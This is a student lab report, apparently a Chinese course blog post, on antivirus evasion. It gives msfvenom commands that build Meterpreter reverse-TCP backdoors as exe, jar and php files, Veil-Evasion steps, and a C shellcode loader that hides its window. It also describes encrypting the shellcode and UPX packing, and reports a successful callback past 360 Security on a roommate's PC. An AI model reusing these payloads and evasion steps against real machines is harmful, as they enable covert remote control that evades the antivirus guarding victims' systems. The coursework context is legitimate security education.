2018-2019-2 20165316 『网络对抗技术』Exp3:免杀原理与实践
2018-2019-2 20165316 『网络对抗技术』Exp3:免杀原理与实践
一 免杀原理与实践说明
(一)、实验说明
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
任务二:通过组合应用各种技术实现恶意代码免杀(1分)
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
(二)、基础问题回答
- 问:杀软是如何检测出恶意代码的?
- 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
- 基于行为来检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
- 问:免杀是做什么?
- 通过使用一些技术手段,让杀毒软件无法识别并分析主机中的恶意代码。
- 问:免杀的基本方法有哪些?
- 改变特征码:
- 只有exe——加壳
- 有shellcode——利用shellcode生成可执行文件
- 有源代码——用其他语言重写再编译
- 改变行为:
- 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据等。
- 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。但是,现在微软对此似乎也有所防备。我会在下面的实验过程中详细叙述这种猜想的来源。
- 改变特征码:
- 问:开启杀软能绝对防止电脑中恶意代码吗?
- 显然不可能,如果有这种想法无疑是掩耳盗铃。。。。
二、 使用msf编码器生成后门程序及检测
1、在《Exp2:后门原理与实践》博客中,我们生成了一个后门文件。将其放在virscan.org中进行扫描,结果如下图所示:
可以看出,70款杀软中有51款报出了病毒。原因也可想而知,Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,马上就会加到特征库里了。
2、使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.147 LPORT=5316 -f exe > met-encoded10.exe指令进行多次编码。
再使用VirusTotal进行扫描,一次迭代结果如下所示:
十次迭代结果如下所示:
仍然有52款杀软发现病毒(为啥一次还比十次少。。。。)。并没有什么卵用。多次编码之后的后门,还是会被大多数杀软发现并清理的。
三、其他形式的反弹代码
1. msfvenom生成jar文件
生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.147 LPORT=5316 x> backdoor5316_java.jar
生成文件如下所示:
扫描结果如下:
2. msfvenom生成php文件
生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.147 LPORT=5316 x> backdoor5316_zuihaode.php(可能是因为php是。。。。)
生成文件如下所示:
扫描结果如下:
想生成更多其他形式的文件可以参考学姐的博客
三、使用veil-evasion生成后门程序及检测
安装veil-evasion的时候遇到了好多麻烦事,网速贼慢,好不容易下载好了,“展开对象”执行了俩小时还没结束,去网上也搜不到相关的原因和解释,最终还是拷贝了同学的虚拟机,如果我有机会能安装好,我会补一篇安tu装cao教程的。
1、use evasion启动evail-evasion:
2、输入命令use c/meterpreter/rev_tcp.py 进入配置界面
3、设置反弹连接IP,命令为:set LHOST 192.168.1.241,注意此处的IP是KaliIP;设置端口,命令为:set LPORT 5316:
4、输入generate生成文件,接着输入你想要playload的名字:veil_c_5316
5、保存路径为/var/lib/veil/output/compiled/veil_c_5316.exe
和以前差不多,看来去年玩烂的东西今年就被查了啊。
四. 半手工注入Shellcode并执行
在《Exp2:后门原理与实践》博客中,同样介绍了生成shellcode的方法,这次我们利用生成的shellcode编写后门程序,半手工打造恶意软件。
1、首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.147 LPORT=5316 -f c用c语言生成一段shellcode;
2、利用shellcode编写一个C语言程序后门,在windows下编译运行后,测试其可用性:
#include <windows.h>
#include <stdio.h>
//data段可读写
#pragma comment(linker, "/section:.data,RWE")
//不显示窗口
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO")
void main(){
((void(*)(void))&shellcode)();//shellcode是你生成的机器码头指针
}
不用看都能知道,直接被杀软杀掉。因为出现了shellcode,可以看出,明文shellcode见光死。
3、扫描发现,仍有很多杀软能够扫描出来:
4、此时,我的心境发生了微妙的变化,我使用了新的方法加密了shellcode,让它不以明文方式出现,下图中左边为解密出来的shellcode,右边可以看出kali已经成功获得Windows权限。(呃,这里原本有一个成功的截图,但是我看到不要放截图,就没放出来。)
5、杀软没有发现它,扫描结果仅为17%。
6、然后,我给它加了一个upx压缩壳。是没被杀出来,但是,扫描结果却没有上面乐观。
五、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
注意:由于换了网络,IP地址会发生变化,所有的程序都需要重新生成。(也有可能不会,毕竟一个宿舍一个局域网)
对舍友电脑进行免杀效果测试并回连成功(舍友的杀软为最新的360安全卫士11)
离实战还缺些什么技术或步骤?
首先,虽然程序能够不被杀软检测到,我们现在只是会一些简单的综合利用技术进行改造,但实际上病毒库时时刻刻不再更新发展,我们更需要学会多方面技术来使达到免杀的目的。
其次,但对于实战来说,恶意代码如何嵌入被攻击机中,并让被控主机运行它对我们来说还是一大问题,所以接下来要对如何伪装、吸引被供给端点击这方面进行学习。
再次,我们对于编程和计算机内部结构的了解还不够深刻,没有将知识联系起来,无法有效找出计算机的漏洞。
整体来说就是要进行信息收集、漏洞分析,然后根据漏洞构造后门,并隐藏、清理痕迹等。
2018-2019-2 20165316 『网络对抗技术』Exp3:免杀原理与实践的更多相关文章
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
随机推荐
- ajax登录验证-js
1.html代码: <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> < ...
- (转)谈谈用ASP.NET开发的大型网站有哪些架构方式(成本)
在上篇文章里(http://www.cnblogs.com/ms0017/archive/2011/07/26/2117676.html),列举了国内外用ASP.NET开发的大型网站有哪些.最后提到了 ...
- 20175324 《Java程序设计》第3周学习总结
# 学号 20175324 <Java程序设计>第3周学习总结 ## 教材学习内容总结 在蓝墨云中的教程里学习了如何安装IDEA,并且尝试了自己破解IDEA,主要在看书时,对java中的类 ...
- Java for Android 学习第一周
前言 专业Java程序员所必需掌握的3个主题: 1. Java编程语言 2. 使用Java的面向对象编程(OOP) 3. Java核心库 JDK.JRE和JVM 1. javac编译java源代码为字 ...
- chrome 安装setupvpn 解决chorme未能成功加载扩展程序的问题
一: vpn文件 https://pan.baidu.com/s/1wZV2HAC3GHlh1bjlvbilRg 提取码: gz72; 二 : 安装步骤 ------请看完以下步骤,不要直接拖 ...
- Could not find artifact cn.e3mall:e3mall-parent:pom:0.0.1-SNAPSHOT
[ERROR] [ERROR] Some problems were encountered while processing the POMs:[FATAL] Non-resolvable pare ...
- wpf1
emCombobox.Items[2].IsEnabled = false; 隐藏下拉框里面的一个item wpf 单例模式. [DllImport("user32", CharS ...
- 20165311 《网络对抗技术》 Kali安装
一.目的要求 下载 安装 网络 共享 软件源 二.主要步骤 从官网下载软件安装包 安装的比较顺利 具体截图就不放上来了 安装结果图: 网络配置和共享文件夹设置 网络配置: 由于我之前安装虚拟机,所以并 ...
- maven jdk版本
http://maven.apache.org/docs/history.html Maven Releases History Date format is: YYYY-MM-DD Maven 3 ...
- [crypto] AEAD是啥
AEAD这个缩写根据不同的语境有两个理解角度:认证加密机制,认证加密方式. 认证加密机制是指:一些用来完成认证加密工作的方法,拆分为认证和加密两部分来做,先加密后加密先认证后认证都无所谓,整个过程或者 ...